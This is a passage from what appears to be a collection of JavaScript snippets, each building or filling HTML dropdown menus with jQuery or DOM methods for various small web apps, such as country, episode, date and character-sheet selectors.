+selected_attributes);\n if (jQuery.inArray(hidden_select_id, selected_attributes) !== -1) {\n var temp_id = $(this).attr('id');\n var temp_name = $(this).attr('name');\n \n $(this).attr(\"id\", temp_id+\"_\"+opts_id);\n $(this).attr(\"name\", temp_name+\"[\"+opts_id+\"]\");\n $(this).removeAttr(\"hidden\");\n //duplicar num_hid\n }\n //when it's EDIT form\n //if select IS in selected_attributes array\n else if(jQuery.inArray(simpler_name, selected_attributes) !== -1){ \n \n var temp_id = ($(this).attr('id')).slice(0,-2);\n $(this).attr(\"name\", (temp_id.toLowerCase())+\"[\"+opts_id+\"]\");\n $(this).removeAttr(\"hidden\");\n }\n })\n }\n if (total_dropdowns > selected_attributes.length) {\n var visible_select = $(this).children('select:visible');\n jQuery.each(visible_select, function(){\n \n var visible_select_id = $(this).attr('id');\n var simpler_name = visible_select_id != undefined ? visible_select_id.slice(0, -2) : '';\n \n // console.log(visible_select_id + \" \" + selected_attributes);\n // console.log(simpler_name + \" \" + selected_attributes);\n \n //if select id IS NOT in selected_attributes, hide it\n if(jQuery.inArray(simpler_name, selected_attributes) === -1){ //for edit\n $(this).attr(\"name\", \"\"); //erase its name to avoid the controller catching it\n $(this).attr(\"hidden\", true);\n }\n })\n }\n //Check if the dropdowns showing are according to the attributes selected\n if(total_dropdowns == selected_attributes.length) {\n var vis_select = $(this).children('select');\n \n jQuery.each(vis_select, function(){\n //console.log($(this).attr(\"id\"));\n var vis_select_id = $(this).attr('id');\n var simpler_name = vis_select_id != undefined ? vis_select_id.slice(0, -2) : '';\n\n //console.log(simpler_name +\" in \"+ selected_attributes);\n if(jQuery.inArray(simpler_name, selected_attributes) === -1){\n console.log(\"hide \"+vis_select_id);\n //alert(\"1\"+simpler_name + \" is not in \" + selected_attributes)\n $(this).attr(\"name\", \"\");\n $(this).attr(\"hidden\", true);\n }\n console.log(vis_select_id + \" \" + selected_attributes);\n console.log((jQuery.inArray(vis_select_id, selected_attributes) !== -1));\n // console.log(($(this).attr(\"hidden\") == \"hidden\"));\n \n if((jQuery.inArray(vis_select_id, selected_attributes) !== -1)){\n //alert(\"2\"+vis_select_id + \" is in \" + selected_attributes)\n if($(this).attr(\"hidden\") == \"hidden\"){\n var temp_id = $(this).attr('id');\n //var temp_name = $(this).attr('name');\n\n $(this).attr(\"id\", temp_id+\"_\"+opts_id);\n $(this).attr(\"name\", (temp_id.toLowerCase())+\"[\"+opts_id+\"]\");\n // $(this).attr(\"id\", temp_id+\"_\"+cont);\n // $(this).attr(\"name\", temp_name+\"[\"+cont+\"]\");\n $(this).removeAttr(\"hidden\");\n //console.log($(this).attr(\"id\") +\" make visible\");\n }\n }\n // alert(simpler_name+\"? in \"+selected_attributes);\n // console.log((jQuery.inArray(simpler_name, selected_attributes) !== -1));\n if((jQuery.inArray(simpler_name, selected_attributes) !== -1)){\n //alert(\"3\"+simpler_name + \" is in \" + selected_attributes)\n if($(this).attr(\"hidden\") == \"hidden\"){\n var temp_id = ($(this).attr('id')).slice(0,-2);;\n $(this).attr(\"name\", (temp_id.toLowerCase())+\"[\"+opts_id+\"]\");\n $(this).removeAttr(\"hidden\");\n }\n }\n })\n }\n \n }\n\n })\n }", "populateUnitMenus() {\n\t\tlet category = this.m_catMenu.value;\n\t\tthis.m_unitAMenu.innerHTML = \"\";\n\t\tCONFIG[category].forEach(function(item) {\n\t\t\tGUI.m_unitAMenu.innerHTML += \"<option value=\\\"\" + item[0] + \"\\\">\" + item[1] + \"</option>\";\n\t\t});\n\t\t\n\t\tthis.m_unitBMenu.innerHTML = \"\";\n\t\tCONFIG[category].forEach(function(item) {\n\t\t\tGUI.m_unitBMenu.innerHTML += \"<option value=\\\"\" + item[0] + \"\\\">\" + item[1] + \"</option>\";\n\t\t});\n\t}", "function setDropDown() {\n KintoneConfigHelper.getFields(['SINGLE_LINE_TEXT', 'LINK', 'SPACER']).then(function(resp) {\n var $linkDropDown = $link;\n var $spaceDropDown = $space;\n\n resp.forEach(function(respField) {\n var $option = $('<option></option>');\n switch (respField.type) {\n case 'SINGLE_LINE_TEXT':\n case 'LINK':\n $option.attr('value', respField.code);\n $option.text(respField.label);\n $linkDropDown.append($option.clone());\n break;\n case 'SPACER':\n if (!respField.elementId) {\n break;\n }\n $option.attr('value', respField.elementId);\n $option.text(respField.elementId);\n $spaceDropDown.append($option.clone());\n break;\n default:\n break;\n }\n });\n\n // Set default values\n if (CONF.link) {\n $linkDropDown.val(CONF.link);\n }\n if (CONF.space) {\n $spaceDropDown.val(CONF.space);\n }\n }, function() {\n // Error\n return alert('There was an error retrieving the Link field information.');\n });\n }", "function setList(c){\n var valueArray=c.valueArray,\n nameArray=c.nameArray,\n div=c.listDiv,\n actionChange=c.actionChange,\n stylingFunct=c.stylingFunct,\n defaultValue=c.defaultValue;\n var items=[]; items.length=0;\n var defaultIndex;\n var sampleNode=div.getElementsByClassName('sampleNode')[0].cloneNode(true);\n while (div.firstChild) {\n div.removeChild(div.firstChild);\n }\n div.appendChild(sampleNode);\n if(valueArray.length===0||valueArray.length===1){\n if(c.actionNull) c.actionNull();\n return;\n }\n if (c.actionExist) c.actionExist();\n // var found = 0;\n for(var i=0;i<valueArray.length;i++){\n items.push(div.firstElementChild.cloneNode(true));\n div.appendChild(items[i]);\n var nameSpan=div.getElementsByClassName(\"nameSpan\")[i+1];\n items[i].style.display = \"block\";\n\n //find default value, use substring because of language code\n// if(typeof defaultValue === 'STRING'){\n// if (found === 0 && valueArray[i].substring(0, 2).toUpperCase() === defaultValue.substring(0, 2).toUpperCase()) {\n// defaultIndex = i;\n// found = 1;\n// }\n// else if (valueArray[i].toUpperCase() === defaultValue.toUpperCase()) {\n// defaultIndex = i;\n// found = 1;\n// }\n// }\n// else \n if (valueArray[i] === defaultValue) defaultIndex = i;\n \n if(nameSpan!=null) {\n nameSpan.style.display=\"block\";\n if(div.nodeName===\"SELECT\"){//!!tagName always returns uppercase sting\n nameSpan.text=nameArray[i];\n items[i].value=valueArray[i];\n // items[i].disabled = false;\n }\n else if(div.getElementsByTagName('input')[0]!=null) {\n nameSpan.innerHTML=nameArray[i];\n items[i].getElementsByTagName('input')[0].id=div.id+\"_\"+valueArray[i];\n items[i].getElementsByTagName('input')[0].value=valueArray[i];\n items[i].getElementsByTagName('input')[0].name=div.id;\n //nameSpan.setAttribute('for',trackList.name[i]);\n items[i].getElementsByTagName('label')[0].htmlFor =div.id+\"_\"+valueArray[i];\n //items[i].onclick=actionInput;\n items[i].getElementsByTagName('label')[0].addEventListener(\"click\", actionInput);\n }\n }\n\n //mouseEventStyling\n if(stylingFunct){\n for(var j=0;j<stylingFunct.length;j++){\n if(div.getElementsByTagName(\"label\")) items[i].getElementsByTagName(\"label\")[0].addEventListener(stylingFunct[j].event,stylingFunct[j].funct);\n else items[i].addEventListener(stylingFunct[j].event,stylingFunct[j].funct);\n }\n }\n }\n if(div.nodeName===\"SELECT\") {\n div.onchange=actionSelect;\n if(defaultIndex!=null) div.selectedIndex = defaultIndex+1;//+1 for there is an invisible sample node at the beginning\n else div.selectedIndex = 0; \n actionSelect(); \n }\n else {\n if(defaultIndex!=null) var checkedButton=items[defaultIndex].getElementsByTagName('input')[0]; \n else checkedButton=sampleNode.getElementsByTagName('input')[0]; \n checkedButton.checked = true; \n var item= checkedButton.nextSibling;\n var value= checkedButton.value;\n actionChange(item,value);\n }\n \n\n function actionSelect(){ \n var value=div.options[div.selectedIndex].value;\n var checkedItem=div.options[div.selectedIndex];\n actionChange(checkedItem,value);\n }\n function actionInput(event){\n // if(document.querySelector('input[name=\"'+div.id+'\"]:checked')){\n // var checkedButton=document.querySelector('input[name=\"'+div.id+'\"]:checked');\n var checkedButton=event.target.previousElementSibling;\n var item= checkedButton.nextSibling;\n var value= checkedButton.value;\n actionChange(item,value);\n // }\n }\n}", "function createDropdownCountries() {\n let dropdown = document.getElementById(\"dropdownCountries\");\n dropdown.length = 0;\n let option;\n\n // Set default option to global stats\n let defaultOption = document.createElement(\"option\");\n defaultOption.text = \"Global\";\n defaultOption.value = 0;\n dropdown.add(defaultOption);\n $(\".selectpicker\").selectpicker(\"refresh\");\n dropdown.selectedIndex = 0;\n updateUI(defaultOption.value);\n\n // Populate the dropdown\n countryList.forEach((entry) => {\n option = document.createElement(\"option\");\n option.text = entry.country;\n option.value = entry.countryInfo._id;\n dropdown.add(option);\n });\n $(\".selectpicker\").selectpicker(\"refresh\");\n }", "function setOrgsList(){\n \n atmWindow.document.getElementById(\"addAffiliateForm_SelectOrg\").innerHTML = \"<option></option>\";\n allorgs_atm = [];\n for (var b = 2; b < orgRows_atm.length; b++){\n var TDs = orgRows_atm[b].querySelectorAll(\"td.confluenceTd\");\n let orgName = cleanup(TDs[0].innerText);\n if (allorgs_atm.indexOf(orgName) < 0) {\n atmWindow.document.getElementById(\"addAffiliateForm_SelectOrg\").innerHTML += \"<option>\" + orgName + \"</option>\";\n allorgs_atm.push(orgName);\n }\n }\n atmWindow.document.getElementById(\"addAffiliateForm_SelectOrg\").innerHTML += \"<option style='color:blue;' value='neworg'> ** New Organization ** </option>\";\n }", "function createSubDropdownPend(json) {\n let d = document.createDocumentFragment();\n\n json.sort(function (a, b) {\n if (a.name < b.name) return -1;\n else if (a.name > b.name) return 1;\n return 0;\n });\n\n for (var i = 0; i < json.length; i++) {\n let option = document.createElement('option');\n option.innerHTML = json[i].name;\n option.setAttribute('value', json[i].name);\n option.setAttribute('id', json[i].name + 'Option');\n d.appendChild(option);\n }\n $('#subNamesPend').append(d);\n}", "function buildList (selectEl) {\n // store the individual drop down list values\n var stations = \"\";\n\n //do you append each child element while the loop is running or on completion?\n for (var key in subway) {\n if (subway.hasOwnProperty(key)) {\n //console.log(key + \" \" + subway[key]);\n\n for(var val in subway[key]){\n stations = key + \", \" + subway[key][val];\n\n // create new child element of type option\n var listItem = document.createElement(\"option\");\n\n // assign child element value attribute and content the current line station value\n listItem.setAttribute(\"value\", stations);\n listItem.innerHTML = stations;\n\n //append the child element to the parent select elements\n selectEl.appendChild(listItem);\n }\n }\n }\n }", "function writeDropdowns() {\n\t// this writes the dropdown that lets you select which Relic you are adding a property to\n\trelicsIndex = myCharacter.relics;\n\trelicUpdateDropdown = \"\";\n\tfor(var relicName in relicsIndex) {\n\t\trelicUpdateDropdown += \"<option value=\\\"\" + relicName + \"\\\">\" + relicName + \"</option>\";\n\t}\n\tdocument.getElementById('relicPropertyEntry').innerHTML = relicUpdateDropdown;\n\n\tvirtuesIndex = myCharacter.virtues;\n\tvirtuesDropdown = \"<label>Virtue Channel?</label><select id=\\\"virtueChannelEntry\\\">\";\n\tvirtuesDropdown += \"<option value=\\\"ChooseOne\\\">Choose One</option>\";\n\tfor(var virtueName in virtuesIndex) {\n\t\tif(virtuesIndex[virtueName] != 0) {\n\t\t\tvirtuesDropdown += \"<option value=\\\"\" + virtueName + \"\\\">\" + capitalizeFirstLetter(virtueName) + \"</option>\";\n\t\t}\n\t}\n\tdocument.getElementById('virtueChannelPlaceholder').innerHTML = virtuesDropdown;\n\n\trelicModList = \"\";\n\trelicModList += document.getElementById('relicBonusSelector3').innerHTML;\n\n\tattacksIndex = myCharacter.attacks;\n\tattackSelectorList = \"<option value=\\\"ChooseOne\\\">Choose One</option>\";\n\tdamageSelectorList = \"<option value=\\\"ChooseOne\\\">Choose One</option>\";\n\tfor(var attackName in attacksIndex) {\n\t\tattackSelectorList += \"<option value=\\\"\" + attackName + \"\\\">\" + attackName + \"</option>\";\n\t\tdamageSelectorList += \"<option value=\\\"\" + attackName + \"\\\">\" + attackName + \"</option>\";\n\t\trelicModList += \"<option value=\\\"\" + attackName + \"Attack\\\">\" + attackName + \" Attack</option>\";\n\t\trelicModList += \"<option value=\\\"\" + attackName + \"Damage\\\">\" + attackName + \" Damage</option>\";\n\t\trelicModList += \"<option value=\\\"\" + attackName + \"Parry\\\">\" + attackName + \" Parry</option>\";\n\t}\n\tdocument.getElementById('attackRollEntry').innerHTML = attackSelectorList;\n\tdocument.getElementById('damageRollEntry').innerHTML = damageSelectorList;\n\n\tfor(var armorName in myCharacter['armors']) {\n\t\trelicModList += \"<option value=\\\"\" + armorName + \"Soak\\\">\" + armorName + \" Soak</option>\";\n\t}\n\n\tdocument.getElementById('relicBonusSelector3').innerHTML = relicModList;\n\n\n\tpresetList = \"\";\n\tpresetList += \"<option value=\\\"ChooseOne\\\">Choose One</option>\";\n\tpresetList += \"<option value=\\\"mentalResist\\\">Mental Resist</option>\";\n\tif(myCharacter['knacks']['epicIntelligence']['intellectualJuggernaut'] == true) {\n\t\tpresetList += \"<option value=\\\"intellectualJuggernaut\\\">MR (Intellectual Juggernaut)</option>\";\n\t}\n\tpresetList += \"<option value=\\\"socialResist\\\">Social Resist</option>\";\n\tif(myCharacter['knacks']['epicManipulation']['wordsWillNeverHurtMe'] == true) {\n\t\tpresetList += \"<option value=\\\"wordsWillNeverHurtMe\\\">SR (Words Will Never...)</option>\";\n\t}\n\tif(myCharacter['knacks']['epicWits']['rapierWit'] == true) {\n\t\tpresetList += \"<option value=\\\"rapierWit\\\">SR (Rapier Wit)</option>\";\n\t}\n\tif(myCharacter['knacks']['epicIntelligence']['blockadeOfReason'] == true) {\n\t\tpresetList += \"<option value=\\\"blockadeOfReason\\\">SR (Blockade of Reason)</option>\";\n\t}\n\tpresetList += \"<option value=\\\"physicalResist\\\">Physical Resist</option>\";\n\tif(myCharacter['boons']['sun']['unflinchingGaze'] == true) {\n\t\tpresetList += \"<option value=\\\"unflinchingGaze\\\">PR vs. Light</option>\";\n\t}\n\tpresetList += \"<option value=\\\"joinBattle\\\">Join Battle</option>\";\n\tpresetList += \"<option value=\\\"featOfStrength\\\">Feat of Strength</option>\";\n\tpresetList += \"<option value=\\\"numberFate\\\">#Fate</option>\";\n\tpresetList += \"<option value=\\\"escapeFromGrapple\\\">Escape from Grapple</option>\";\n\tdocument.getElementById('rollerPresetEntry').innerHTML = presetList;\n\n\tfatiguePenaltyString = \"\";\n\tif(numberMystery > 0) {\n\t\tfatiguePenaltyString += \"<button onclick=\\\"addNewTempModifier('-1/2#mystery', 'bonusDice', 'Mystery Fatigue Penalty', '\" + getFatiguePenalty() + \"', 'story'), location.reload()\\\">Add Mystery Fatigue Penalty</button>\";\n\t\tfatiguePenaltyString += \"<br><br>\";\n\t}\n\tif(numberProphecy > 0) {\n\t\tfatiguePenaltyString += \"<button onclick=\\\"addNewTempModifier('-1/2#prophecy', 'bonusDice', 'Prophecy Fatigue Penalty', '\" + getFatiguePenalty() + \"', 'story'), location.reload()\\\">Add Prophecy Fatigue Penalty</button>\";\n\t\tfatiguePenaltyString += \"<br><br>\";\n\t}\n\tdocument.getElementById('fatiguePenaltyAdder').innerHTML = fatiguePenaltyString;\n\n\trollExtraString = \"\";\n\tif(myCharacter['boons']['mystery']['spiritualFortitude'] == true) {\n\t\trollExtraString += \"<input id=\\\"spiritualFortitudeExtraEntry\\\" type=\\\"checkbox\\\"><label>Spiritual Fortitude? (MR & SR only)</label><br>\"\n\t}\n\tif(myCharacter['boons']['magic']['bonaFortuna'] == true && myValidChannelsList['magic'] == true) {\n\t\trollExtraString += \"<input id=\\\"bonaFortunaExtraEntry\\\" type=\\\"checkbox\\\"><label>Bona Fortuna +\" + effectiveNumberMagic + \" Dice</label><br>\";\n\t}\n\tif(myCharacter['boons']['star']['luckyStar'] == true && myValidChannelsList['star'] == true) {\n\t\trollExtraString += \"<input id=\\\"luckyStarExtraEntry\\\" type=\\\"checkbox\\\"><label>Lucky Star +\" + effectiveNumberStar + \" Dice</label><br>\";\n\t}\n\tif(myCharacter['boons']['psp']['pspLevel2'] == true && myCharacter['characterPantheon'] == \"Deva\") {\n\t\trollExtraString += \"<input id=\\\"karmaExtraEntry\\\" type=\\\"checkbox\\\"><label>Karma +\" + parseInt(myCharacter['coreTraits']['legend']) + \" Dice to Virtue Channel</label><br>\"\n\t}\n\trollExtraString += \"<br>\";\n\tdocument.getElementById('rollExtraModalExtras').innerHTML = rollExtraString;\n}", "function dropDown(itemNames, id, locationHash){\n\t\titemNames.forEach((item)=>{\n\n\t\t\t//creating li and a tags for dropdown-content\n\t\t\tvar a = document.createElement(\"a\");\n\t\t\tvar li = document.createElement(\"li\");\n\n\t\t\t//setting links of dropdown element's\n\t\t\ta.setAttribute(\"href\", locationHash+item.toLowerCase());\n\n\t\t\t//adding item to 'a' tag as inner element\t\n\t\t\ta.innerHTML = item;\n\n\t\t\t//adding 'a' tag to 'li' tag as a child element\n\t\t\tli.appendChild(a);\n\n\t\t\t//adding 'li' tag to 'id' parameter as a child element\n\t\t\tid.appendChild(li);\t\n\t\t});\n\t}", "function optionsShow(_data) {\n var locationOption = document.createElement(\"option\");\n var locationList = document.getElementById(\"SortLocation\");\n locationList.appendChild(locationOption);\n locationOption.text = \"Location...\";\n locationOption.disabled = true;\n var themeOption = document.createElement(\"option\");\n var themeList = document.getElementById(\"SortTheme\");\n themeList.appendChild(themeOption);\n themeOption.text = \"Theme...\";\n themeOption.disabled = true;\n\n for (var i = 0; i < _data.city.length; i++) {\n locationOption = document.createElement(\"option\");\n locationList = document.getElementById(\"SortLocation\");\n locationList.appendChild(locationOption);\n locationOption.text = _data.city[i];\n locationOption.value = _data.city[i];\n }\n\n for (var i = 0; i < _data.theme.length; i++) {\n themeOption = document.createElement(\"option\");\n themeList = document.getElementById(\"SortTheme\");\n themeList.appendChild(themeOption);\n themeOption.text = _data.theme[i];\n themeOption.value = _data.theme[i];\n }\n\n}", "function createColorSchemeMenu(){\nfor ( var x in colorSchemes ){\n\tdocument.getElementById(\"chooseColorScheme\").innerHTML += '<option value=\"colorSchemes.'+x.toString()+'\"> '+colorSchemes[x].name+' </option>';\n}}", "appendInputs() {\n const that = this,\n firstInput = document.createElement('jqx-drop-down-list'),\n secondInput = document.createElement('jqx-drop-down-list');\n\n firstInput.dataSource = [{ value: true, label: 'true' }, { value: false, label: 'false' }];\n firstInput.selectedIndexes = [];\n firstInput.selectionMode = 'zeroOrOne';\n secondInput.dataSource = [{ value: true, label: 'true' }, { value: false, label: 'false' }];\n secondInput.selectedIndexes = [];\n secondInput.selectionMode = 'zeroOrOne';\n\n that.firstInput = firstInput;\n that.secondInput = secondInput;\n }", "function makeFleaMedOptions() {\n var formTag = document.getElementsByTagName(\"form\");\n var chooseList = getElements('select');\n var makeSelect = document.createElement('select');\n makeSelect.setAttribute(\"id\", \"fleaRx\");\n for (var i=0, j=fleaMedication.length; i<j; i++) {\n var createOption = document.createElement('option');\n var optionText = fleaMedication[i];\n createOption.setAttribute(\"value\", optionText);\n createOption.innerHTML = optionText;\n makeSelect.appendChild(createOption);\n }\n chooseList.appendChild(makeSelect);\n }", "function fnCategory() {\n for (var i = 0; i < category_g.length; i++) {\n $('#ddlCategory').append('<option value=\"' + category_g[i].Value + '\" >' + category_g[i].Text + '</option>');\n }\n}", "function FillFormSelect() {\n //Categories\n let cat = [];\n for (let el of Categories.values()) {\n cat.push(el);\n }\n $(\"#formCategoryId\").empty();\n $(\"#formCategoryId\").append($('<option>', { value: -1, text: \"New Category\" }));\n cat.sort((a, b) => a.Name < b.Name);\n for (let category of cat) {\n $('<option>', { value: category.Id, text: category.Name }).appendTo(\"#formCategoryId\");\n }\n\n //Publishers\n let pub = [];\n for (let el of Publishers.values()) {\n pub.push(el);\n }\n pub.sort((a, b) => a.Name < b.Name);\n $(\"#formPublisherId\").empty();\n $(\"#formPublisherId\").append($('<option>', { value: -1, text: \"New Publisher\" }));\n for (let publisher of pub) {\n $('<option>', { value: publisher.Id, text: publisher.Name }).appendTo(\"#formPublisherId\");\n }\n\n //Languages\n let lan = [];\n for (let el of Languages.values()) {\n lan.push(el);\n }\n lan.sort((a, b) => a.Name < b.Name);\n $(\"#formLanguageId\").empty();\n $(\"#formLanguageId\").append($('<option>', { value: -1, text: \"New Language\" }));\n for (let language of lan) {\n $('<option>', { value: language.Id, text: language.Name }).appendTo(\"#formLanguageId\");\n }\n\n //Authors\n let auth = [];\n for (let el of Authors.values()) {\n auth.push(el);\n }\n auth.sort((a, b) => `${a.FirstName}${a.LastName}` < `${b.FirstName}${b.LastName}`);\n $(\"#formAuthorId\").empty();\n $(\"#formAuthorId\").append($('<option>', { value: -1, text: \"New Author\" }));\n for (let author of auth) {\n $('<option>', { value: author.Id, text: `${author.FirstName} ${author.LastName}` }).appendTo(\"#formAuthorId\");\n }\n }", "function fill_dropdown (array) {\n\t\t$('#chartType').empty();\n\t\t$.each(array, function(i, p) {\n\t\t $('#chartType').append($('<option></option>').val(p).html(p));\n\t\t});\t\n\t\t\n\t}", "function createSelectCategorias(list) {\n var myDiv = document.getElementById('arqsiWidgetCategoriasSelect_div');\n\n myDiv.innerHTML += '<select id=\"arqsiWidgetCategories\" onchange=\"afterCategorySelected();\"></select>';\n var select = document.getElementById('arqsiWidgetCategories'); \n var optBoogie = document.createElement('option');\n var txtBoogie = document.createTextNode(\"Escolha uma categoria...\");\n optBoogie.value = \"-1\";\n optBoogie.appendChild(txtBoogie);\n select.appendChild(optBoogie);\n \n var size = list.length;\n for(var i = 0; i < size; i++) {\n var value = list[i].childNodes[0].nodeValue; \n var opt = document.createElement('option');\n var text = document.createTextNode(value);\n opt.value = value;\n opt.appendChild(text);\n select.appendChild(opt);\n }\n}", "function CreateDays(){\r\n\t\t\t\tdocument.getElementById(\"download\").style.visibility = \"hidden\";\r\n\t\t\t\tselect = document.getElementById(\"day\");\r\n\t\t\t\tdocument.getElementById(\"day\").options.length = 0;\r\n\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\topt.value = \"0\";\r\n\t\t\t\topt.innerHTML = \"Select Day\";\r\n\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\r\n\t\t\t\tswitch (document.getElementById(\"month\").value){\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase \"January\":\r\n\t\t\t\t\t\tfor ( j = 0; j < January.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = January[j];\r\n\t\t\t\t\t\t\topt.innerHTML = January[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"Febuary\":\r\n\t\t\t\t\t\tfor ( j = 0; j < Febuary.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = Febuary[j];\r\n\t\t\t\t\t\t\topt.innerHTML = Febuary[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"March\":\r\n\t\t\t\t\t\tfor ( j = 0; j < March.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = March[j];\r\n\t\t\t\t\t\t\topt.innerHTML = March[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"April\":\r\n\t\t\t\t\t\tfor ( j = 0; j < April.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = April[j];\r\n\t\t\t\t\t\t\topt.innerHTML = April[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"May\":\r\n\t\t\t\t\t\tfor ( j = 0; j < May.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = May[j];\r\n\t\t\t\t\t\t\topt.innerHTML = May[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"June\":\r\n\t\t\t\t\t\tfor ( j = 0; j < June.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = June[j];\r\n\t\t\t\t\t\t\topt.innerHTML = June[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"July\":\r\n\t\t\t\t\t\tfor ( j = 0; j < July.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = July[j];\r\n\t\t\t\t\t\t\topt.innerHTML = July[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"August\":\r\n\t\t\t\t\t\tfor ( j = 0; j < August.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = August[j];\r\n\t\t\t\t\t\t\topt.innerHTML = August[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"September\":\r\n\t\t\t\t\t\tfor ( j = 0; j < September.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = September[j];\r\n\t\t\t\t\t\t\topt.innerHTML = September[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"October\":\r\n\t\t\t\t\t\tfor ( j = 0; j < October.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = October[j];\r\n\t\t\t\t\t\t\topt.innerHTML = October[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"November\":\r\n\t\t\t\t\t\tfor ( j = 0; j < November.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = November[j];\r\n\t\t\t\t\t\t\topt.innerHTML = November[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tcase \"December\":\r\n\t\t\t\t\t\tfor ( j = 0; j < December.length; j++){\r\n\t\t\t\t\t\t\tvar opt = document.createElement('option');\r\n\t\t\t\t\t\t\topt.value = December[j];\r\n\t\t\t\t\t\t\topt.innerHTML = December[j];\r\n\t\t\t\t\t\t\tselect.appendChild(opt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\t\r\n\t\t\t\t}\r\n\t\t\t}", "function createEpisodesList() {\n let select = document.getElementById(\"episodeSelector\");\n select.textContent = \"\";\n // let defaultOption= document.createElement(\"option\");\n // defaultOption.textContent = \"Select Episode 1\";\n // defaultOption.value = \"default\";\n // select.appendChild(defaultOption);\n for (let i = 0; i < getEpisodes.length; i++) {\n let option = document.createElement(\"option\");\n let text = document.createTextNode(`${getEpisodes[i].season} ${getEpisodes[i].number} - ${getEpisodes[i].name}`);\n option.setAttribute(\"value\", getEpisodes[i].name);\n option.appendChild(text);\n // select.insertBefore(option, select.lastChild);\n select.appendChild(option);\n\n }\n\n}", "function addDropDown() {\n var select = document.createElement(\"select\");\n select.setAttribute(\"id\", \"dropdown\");\n var option = document.createElement(\"option\");\n option.setAttribute(\"value\", 0);\n option.innerText = \"Today\";\n select.appendChild(option);\n for (var i = 1; i <= 24; i++) {\n var option = document.createElement(\"option\");\n option.setAttribute(\"value\", i);\n option.innerText = \"Wk\" + i;\n if (i != 17) {\n option.innerText = \"Wk\" + i;\n } else {\n option.innerText = \"Wk\" + i + \"/18\";\n i++;\n }\n select.appendChild(option);\n }\n //console.log(select);\n var div = document.createElement(\"div\");\n div.innerText = \"wk\";\n div.setAttribute(\"class\", \"navtarget\");\n select.style.cssFloat = \"right\";\n select.style.letterSpacing = \"initial\";\n document\n .getElementsByClassName(\"Nav-h Py-med No-brdbot Tst-pos-nav\")[0]\n .appendChild(select);\n}", "function drop () {\n for(var i = 0; i < Product.names.length; i++) {\n var optionEl = document.createElement('option');\n optionEl.appendChild(document.createTextNode(Product.names[i]));\n merch.appendChild(optionEl); \n }\n}", "function generateMealPlanFormOptions() {\n for (let d of days) {\n $(`<option>${d}</option>`).appendTo($(\"#day\"));\n }\n\n for (let m of mealType) {\n $(`<option>${m}</option>`).appendTo($(\"#mealType\"));\n }\n }", "function create_dropdown(freqencyId , rangeId , clickfunction , array1 , array2){\n // from given paramets create dropdown content\n var src = document.getElementById(freqencyId);\n if (src.hasChildNodes()) {\n src.innerHTML = '';\n }\n array1.forEach(function(l){\n src.innerHTML += \"<a href=\\\"javascript:void(0)\\\" onclick=\"+clickfunction+\"(this,event,1)>\"+l+\"</a>\"\n });\n src = document.getElementById(rangeId);\n if (src.hasChildNodes()) {\n src.innerHTML = '';\n }\n array2.forEach(function(l){\n src.innerHTML += \"<a href=\\\"javascript:void(0)\\\" onclick=\"+clickfunction+\"(this,event,2)>\"+l+\"</a>\"\n });\n}", "function genDropDownList(){\r\n\tlet request = new XMLHttpRequest();\r\n\t\r\n\trequest.onreadystatechange = 